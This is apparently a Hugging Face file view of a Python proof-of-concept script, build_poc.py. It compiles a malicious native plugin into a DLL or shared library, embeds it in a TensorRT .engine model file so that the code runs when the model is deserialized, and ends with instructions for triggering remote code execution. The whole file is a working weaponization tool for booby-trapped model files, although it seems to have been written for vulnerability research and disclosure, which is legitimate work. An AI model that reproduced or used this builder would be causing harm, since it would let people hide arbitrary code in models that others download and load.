Upload build_poc.py with huggingface_hub
Browse files- build_poc.py +259 -0
build_poc.py
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| 1 |
+
#!/usr/bin/env python3
|
| 2 |
+
"""
|
| 3 |
+
PoC Builder: Creates a malicious TensorRT engine file with embedded native code.
|
| 4 |
+
|
| 5 |
+
This script:
|
| 6 |
+
1. Compiles a malicious DLL/SO with code that executes on load
|
| 7 |
+
2. Builds a TensorRT engine embedding the malicious library
|
| 8 |
+
3. The resulting .engine file triggers arbitrary code execution when deserialized
|
| 9 |
+
|
| 10 |
+
Usage: python build_poc.py
|
| 11 |
+
"""
|
| 12 |
+
|
| 13 |
+
import os
|
| 14 |
+
import sys
|
| 15 |
+
import subprocess
|
| 16 |
+
import tempfile
|
| 17 |
+
import struct
|
| 18 |
+
import platform
|
| 19 |
+
|
| 20 |
+
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
|
| 21 |
+
PROJECT_DIR = os.path.dirname(SCRIPT_DIR)
|
| 22 |
+
EVIDENCE_DIR = os.path.join(PROJECT_DIR, "evidence")
|
| 23 |
+
|
| 24 |
+
os.makedirs(EVIDENCE_DIR, exist_ok=True)
|
| 25 |
+
|
| 26 |
+
|
| 27 |
+
def find_msvc():
|
| 28 |
+
"""Find MSVC cl.exe on Windows."""
|
| 29 |
+
import glob
|
| 30 |
+
patterns = [
|
| 31 |
+
r"C:\Program Files\Microsoft Visual Studio\*\*\VC\Tools\MSVC\*\bin\Hostx64\x64\cl.exe",
|
| 32 |
+
r"C:\Program Files (x86)\Microsoft Visual Studio\*\*\VC\Tools\MSVC\*\bin\Hostx64\x64\cl.exe",
|
| 33 |
+
]
|
| 34 |
+
for pattern in patterns:
|
| 35 |
+
matches = glob.glob(pattern)
|
| 36 |
+
if matches:
|
| 37 |
+
return sorted(matches)[-1] # Latest version
|
| 38 |
+
return None
|
| 39 |
+
|
| 40 |
+
|
| 41 |
+
def find_msvc_env():
|
| 42 |
+
"""Find vcvarsall.bat to set up MSVC environment."""
|
| 43 |
+
import glob
|
| 44 |
+
patterns = [
|
| 45 |
+
r"C:\Program Files\Microsoft Visual Studio\*\*\VC\Auxiliary\Build\vcvarsall.bat",
|
| 46 |
+
r"C:\Program Files (x86)\Microsoft Visual Studio\*\*\VC\Auxiliary\Build\vcvarsall.bat",
|
| 47 |
+
]
|
| 48 |
+
for pattern in patterns:
|
| 49 |
+
matches = glob.glob(pattern)
|
| 50 |
+
if matches:
|
| 51 |
+
return sorted(matches)[-1]
|
| 52 |
+
return None
|
| 53 |
+
|
| 54 |
+
|
| 55 |
+
def compile_dll_windows(source_path: str, output_path: str) -> bool:
|
| 56 |
+
"""Compile the malicious plugin as a Windows DLL using MSVC."""
|
| 57 |
+
vcvarsall = find_msvc_env()
|
| 58 |
+
if not vcvarsall:
|
| 59 |
+
print("[!] Could not find vcvarsall.bat")
|
| 60 |
+
return False
|
| 61 |
+
|
| 62 |
+
# Use cmd.exe to run vcvarsall then compile
|
| 63 |
+
output_dir = os.path.dirname(output_path)
|
| 64 |
+
basename = os.path.splitext(os.path.basename(output_path))[0]
|
| 65 |
+
|
| 66 |
+
cmd = f'"{vcvarsall}" x64 && cl.exe /LD /Fe:"{output_path}" "{source_path}" /link /DLL'
|
| 67 |
+
print(f"[*] Compiling DLL: {cmd}")
|
| 68 |
+
|
| 69 |
+
result = subprocess.run(
|
| 70 |
+
["cmd.exe", "/c", cmd],
|
| 71 |
+
capture_output=True, text=True,
|
| 72 |
+
cwd=output_dir
|
| 73 |
+
)
|
| 74 |
+
|
| 75 |
+
if result.returncode != 0:
|
| 76 |
+
print(f"[!] Compilation failed:\n{result.stderr}\n{result.stdout}")
|
| 77 |
+
return False
|
| 78 |
+
|
| 79 |
+
if os.path.exists(output_path):
|
| 80 |
+
print(f"[+] DLL compiled: {output_path} ({os.path.getsize(output_path)} bytes)")
|
| 81 |
+
return True
|
| 82 |
+
|
| 83 |
+
print("[!] DLL file not found after compilation")
|
| 84 |
+
return False
|
| 85 |
+
|
| 86 |
+
|
| 87 |
+
def compile_so_linux(source_path: str, output_path: str) -> bool:
|
| 88 |
+
"""Compile the malicious plugin as a Linux .so using gcc."""
|
| 89 |
+
cmd = ["gcc", "-shared", "-fPIC", "-o", output_path, source_path, "-Wl,--no-as-needed"]
|
| 90 |
+
print(f"[*] Compiling: {' '.join(cmd)}")
|
| 91 |
+
result = subprocess.run(cmd, capture_output=True, text=True)
|
| 92 |
+
if result.returncode != 0:
|
| 93 |
+
print(f"[!] Compilation failed: {result.stderr}")
|
| 94 |
+
return False
|
| 95 |
+
print(f"[+] SO compiled: {output_path} ({os.path.getsize(output_path)} bytes)")
|
| 96 |
+
return True
|
| 97 |
+
|
| 98 |
+
|
| 99 |
+
def build_engine(plugin_path: str, engine_path: str) -> bool:
|
| 100 |
+
"""Build a TensorRT engine with the malicious plugin embedded."""
|
| 101 |
+
try:
|
| 102 |
+
import tensorrt as trt
|
| 103 |
+
except ImportError:
|
| 104 |
+
print("[!] TensorRT not installed: pip install tensorrt")
|
| 105 |
+
return False
|
| 106 |
+
|
| 107 |
+
print(f"[*] TensorRT version: {trt.__version__}")
|
| 108 |
+
TRT_LOGGER = trt.Logger(trt.Logger.WARNING)
|
| 109 |
+
|
| 110 |
+
# Create builder and network
|
| 111 |
+
builder = trt.Builder(TRT_LOGGER)
|
| 112 |
+
network = builder.create_network(
|
| 113 |
+
1 << int(trt.NetworkDefinitionCreationFlag.EXPLICIT_BATCH)
|
| 114 |
+
)
|
| 115 |
+
config = builder.create_builder_config()
|
| 116 |
+
|
| 117 |
+
# Minimal identity network
|
| 118 |
+
inp = network.add_input("input", trt.DataType.FLOAT, (1, 3, 224, 224))
|
| 119 |
+
identity = network.add_identity(inp)
|
| 120 |
+
identity.get_output(0).name = "output"
|
| 121 |
+
network.mark_output(identity.get_output(0))
|
| 122 |
+
|
| 123 |
+
# CRITICAL: Embed the malicious plugin into the engine file
|
| 124 |
+
# This serializes the entire binary content of the DLL/SO into the .engine file.
|
| 125 |
+
# When loaded with engine_host_code_allowed=True, TensorRT extracts and LoadLibrary/dlopen's it.
|
| 126 |
+
plugin_path_abs = os.path.abspath(plugin_path)
|
| 127 |
+
print(f"[*] Embedding plugin: {plugin_path_abs}")
|
| 128 |
+
print(f"[*] Plugin size: {os.path.getsize(plugin_path_abs)} bytes")
|
| 129 |
+
|
| 130 |
+
config.plugins_to_serialize = [plugin_path_abs]
|
| 131 |
+
|
| 132 |
+
print("[*] Building serialized network...")
|
| 133 |
+
serialized = builder.build_serialized_network(network, config)
|
| 134 |
+
|
| 135 |
+
if serialized is None:
|
| 136 |
+
print("[!] Engine build failed (build_serialized_network returned None)")
|
| 137 |
+
print("[!] This may indicate the plugin library format is incompatible")
|
| 138 |
+
return False
|
| 139 |
+
|
| 140 |
+
engine_bytes = bytes(serialized)
|
| 141 |
+
with open(engine_path, "wb") as f:
|
| 142 |
+
f.write(engine_bytes)
|
| 143 |
+
|
| 144 |
+
print(f"[+] Engine saved: {engine_path}")
|
| 145 |
+
print(f"[+] Engine size: {len(engine_bytes)} bytes")
|
| 146 |
+
|
| 147 |
+
# Verify the plugin binary is embedded in the engine
|
| 148 |
+
with open(plugin_path_abs, "rb") as f:
|
| 149 |
+
plugin_bytes = f.read()
|
| 150 |
+
|
| 151 |
+
if plugin_bytes[:64] in engine_bytes:
|
| 152 |
+
print(f"[+] CONFIRMED: Plugin binary content found embedded in engine file")
|
| 153 |
+
else:
|
| 154 |
+
print("[*] Note: Plugin may be stored in a transformed format within the engine")
|
| 155 |
+
|
| 156 |
+
return True
|
| 157 |
+
|
| 158 |
+
|
| 159 |
+
def try_version_compatible_engine(engine_path: str) -> bool:
|
| 160 |
+
"""
|
| 161 |
+
Alternative: Build a version-compatible engine that embeds the lean runtime.
|
| 162 |
+
This demonstrates that even WITHOUT custom plugins, the engine format
|
| 163 |
+
can carry executable code (the lean runtime itself).
|
| 164 |
+
"""
|
| 165 |
+
try:
|
| 166 |
+
import tensorrt as trt
|
| 167 |
+
except ImportError:
|
| 168 |
+
return False
|
| 169 |
+
|
| 170 |
+
TRT_LOGGER = trt.Logger(trt.Logger.WARNING)
|
| 171 |
+
builder = trt.Builder(TRT_LOGGER)
|
| 172 |
+
network = builder.create_network(
|
| 173 |
+
1 << int(trt.NetworkDefinitionCreationFlag.EXPLICIT_BATCH)
|
| 174 |
+
)
|
| 175 |
+
config = builder.create_builder_config()
|
| 176 |
+
|
| 177 |
+
inp = network.add_input("input", trt.DataType.FLOAT, (1, 3, 224, 224))
|
| 178 |
+
identity = network.add_identity(inp)
|
| 179 |
+
identity.get_output(0).name = "output"
|
| 180 |
+
network.mark_output(identity.get_output(0))
|
| 181 |
+
|
| 182 |
+
# Enable version-compatible mode — this embeds libnvinfer_lean into the engine
|
| 183 |
+
try:
|
| 184 |
+
config.set_flag(trt.BuilderFlag.VERSION_COMPATIBLE)
|
| 185 |
+
print("[*] Building version-compatible engine (embeds lean runtime)...")
|
| 186 |
+
serialized = builder.build_serialized_network(network, config)
|
| 187 |
+
if serialized:
|
| 188 |
+
engine_bytes = bytes(serialized)
|
| 189 |
+
vc_path = engine_path.replace(".engine", "_version_compatible.engine")
|
| 190 |
+
with open(vc_path, "wb") as f:
|
| 191 |
+
f.write(engine_bytes)
|
| 192 |
+
print(f"[+] Version-compatible engine: {vc_path} ({len(engine_bytes)} bytes)")
|
| 193 |
+
print(f"[+] This engine embeds the lean runtime (~40MB of native code)")
|
| 194 |
+
return True
|
| 195 |
+
except Exception as e:
|
| 196 |
+
print(f"[*] Version-compatible build not supported: {e}")
|
| 197 |
+
|
| 198 |
+
return False
|
| 199 |
+
|
| 200 |
+
|
| 201 |
+
def main():
|
| 202 |
+
print("=" * 70)
|
| 203 |
+
print("TensorRT Engine File RCE PoC Builder")
|
| 204 |
+
print("=" * 70)
|
| 205 |
+
print()
|
| 206 |
+
|
| 207 |
+
source_path = os.path.join(SCRIPT_DIR, "malicious_plugin.c")
|
| 208 |
+
if not os.path.exists(source_path):
|
| 209 |
+
print(f"[!] Plugin source not found: {source_path}")
|
| 210 |
+
sys.exit(1)
|
| 211 |
+
|
| 212 |
+
is_windows = platform.system() == "Windows"
|
| 213 |
+
|
| 214 |
+
# Step 1: Compile the malicious plugin
|
| 215 |
+
print("[*] Phase 1: Compiling malicious plugin...")
|
| 216 |
+
if is_windows:
|
| 217 |
+
plugin_path = os.path.join(EVIDENCE_DIR, "malicious_plugin.dll")
|
| 218 |
+
success = compile_dll_windows(source_path, plugin_path)
|
| 219 |
+
else:
|
| 220 |
+
plugin_path = os.path.join(EVIDENCE_DIR, "libmalicious_plugin.so")
|
| 221 |
+
success = compile_so_linux(source_path, plugin_path)
|
| 222 |
+
|
| 223 |
+
if not success:
|
| 224 |
+
print("[!] Plugin compilation failed")
|
| 225 |
+
sys.exit(1)
|
| 226 |
+
|
| 227 |
+
# Step 2: Build engine with embedded plugin
|
| 228 |
+
print()
|
| 229 |
+
print("[*] Phase 2: Building TensorRT engine with embedded malicious code...")
|
| 230 |
+
engine_path = os.path.join(EVIDENCE_DIR, "malicious_model.engine")
|
| 231 |
+
success = build_engine(plugin_path, engine_path)
|
| 232 |
+
|
| 233 |
+
if not success:
|
| 234 |
+
print()
|
| 235 |
+
print("[!] Engine build with embedded plugin failed.")
|
| 236 |
+
print("[*] Trying alternative: version-compatible engine...")
|
| 237 |
+
print()
|
| 238 |
+
try_version_compatible_engine(engine_path)
|
| 239 |
+
|
| 240 |
+
# Step 3: Also try version-compatible engine as additional evidence
|
| 241 |
+
print()
|
| 242 |
+
print("[*] Phase 3: Attempting version-compatible engine build (additional evidence)...")
|
| 243 |
+
try_version_compatible_engine(engine_path)
|
| 244 |
+
|
| 245 |
+
print()
|
| 246 |
+
print("=" * 70)
|
| 247 |
+
print("[*] PoC Build Complete")
|
| 248 |
+
print(f"[*] Evidence directory: {EVIDENCE_DIR}")
|
| 249 |
+
print(f"[*] Plugin: {plugin_path}")
|
| 250 |
+
if os.path.exists(engine_path):
|
| 251 |
+
print(f"[*] Engine: {engine_path}")
|
| 252 |
+
print()
|
| 253 |
+
print("[*] To trigger RCE, run:")
|
| 254 |
+
print(f" python load_poc.py \"{engine_path}\"")
|
| 255 |
+
print("=" * 70)
|
| 256 |
+
|
| 257 |
+
|
| 258 |
+
if __name__ == "__main__":
|
| 259 |
+
main()
|